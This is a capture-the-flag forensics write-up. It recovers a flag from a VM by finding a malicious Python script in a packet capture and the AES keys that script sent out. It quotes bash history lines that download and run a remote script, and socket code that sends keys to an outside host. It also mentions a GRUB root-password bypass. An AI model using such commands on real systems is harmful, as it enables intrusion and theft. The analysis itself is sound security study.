Tags: forensics pcap python
Rating:
In this challenge we were presented with an OVA archive. After importing and running the VM we had to reset the root password. A common method is to set init=/bin/sh
in GRUB.
Then we extracted the relevant files from /home
which had two users prod
and test
.
So let's find out what has happened on the system:
.bash_history
for test
had following entries:
curl http://192.168.1.38/clev.py > .s.py
curl http://192.168.1.38:8080/clev.py > .s.py
curl http://192.168.1.38:8888/clev.py > .s.py
curl http://192.168.1.38:1111/clev.py > .s.py
file .s.py
python3.7 .s.py
rm .s.py
...
so someone downloaded a file, executed it, then removed it. secrets.txt.enc
is likely our candidate for the flag, which was encrypted in /home/test/data
. Since we don't have the script we continue somewhere else.
/home/prod
included a PCAP file. A quick filter for port 1111 revealed an obfuscated Python script. Some observations:
for x in o(16):
p=''.join(random.choices(C,k=16))
M.append(p)
Since p gets overwritten every iteration, only the last value for "p" is used in the encryption.
u=','.join(k for k in M)
u=W(u,"utf-8")
u=base64.b64encode(u)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(g)
s.sendall(W(Q.id,"utf-8"))
s.recv(1)
s.sendall(u)
This will send the keys to another server: 192.168.1.38:9999.
A quick look in the PCAP confirms this. It sends some ID for the machine then all 16 keys in base64 encoding:
bVRHZWxqaERSS0FTS0toUSxGTHJzU0V2ZVFRaWxvUFJuLFhlZFhIWUJVSHBJWERCSlAsSU9HUEVyam9zeE5pUXJOTSxSenZwYkVVUkxkRmZhR0ZNLHZkQlZEQ3ZpeGpTaENRdnksRVFsY3NuVXR6Q0h5RlBITSxKa0RpamdBRmlWQldKYUx6LGdoY1BJT1NxQ2RDVHFPcEQsRG5lQ3dia0RIa29qcHBIbSxsVlJaUmVBbGFJekhnaXNjLE5kamNnVlZqaWlueGZ0Q0MsUmtnTHBSQ3FybmlicnFzTixremV3dGVBZ1BFWmRrelFKLEhucEdvVWVxY2tFcXhwUW0sTFNOV1JhclRoUmRpUExwTQ==
Base64 decoding gives us the keys:
mTGeljhDRKASKKhQ,FLrsSEveQQiloPRn,XedXHYBUHpIXDBJP,IOGPErjosxNiQrNM,RzvpbEURLdFfaGFM,vdBVDCvixjShCQvy,EQlcsnUtzCHyFPHM,JkDijgAFiVBWJaLz,ghcPIOSqCdCTqOpD,DneCwbkDHkojppHm,lVRZReAlaIzHgisc,NdjcgVVjiinxftCC,RkgLpRCqrnibrqsN,kzewteAgPEZdkzQJ,HnpGoUeqckEqxpQm,LSNWRarThRdiPLpM
So in order to decrypt the file we take the last key (LSNWRarThRdiPLpM) from the 16.
>>> f=open("secrets.txt.enc", "rb")
>>> f1=f.read()
>>> from Crypto.Cipher import AES
>>> c=AES.new("LSNWRarThRdiPLpM",AES.MODE_ECB)
>>> c.decrypt(f1)
b'flag{26c08ad080830d6dcd76c15009ab6b03}\n\t\t\t\t\t\t\t\t\t'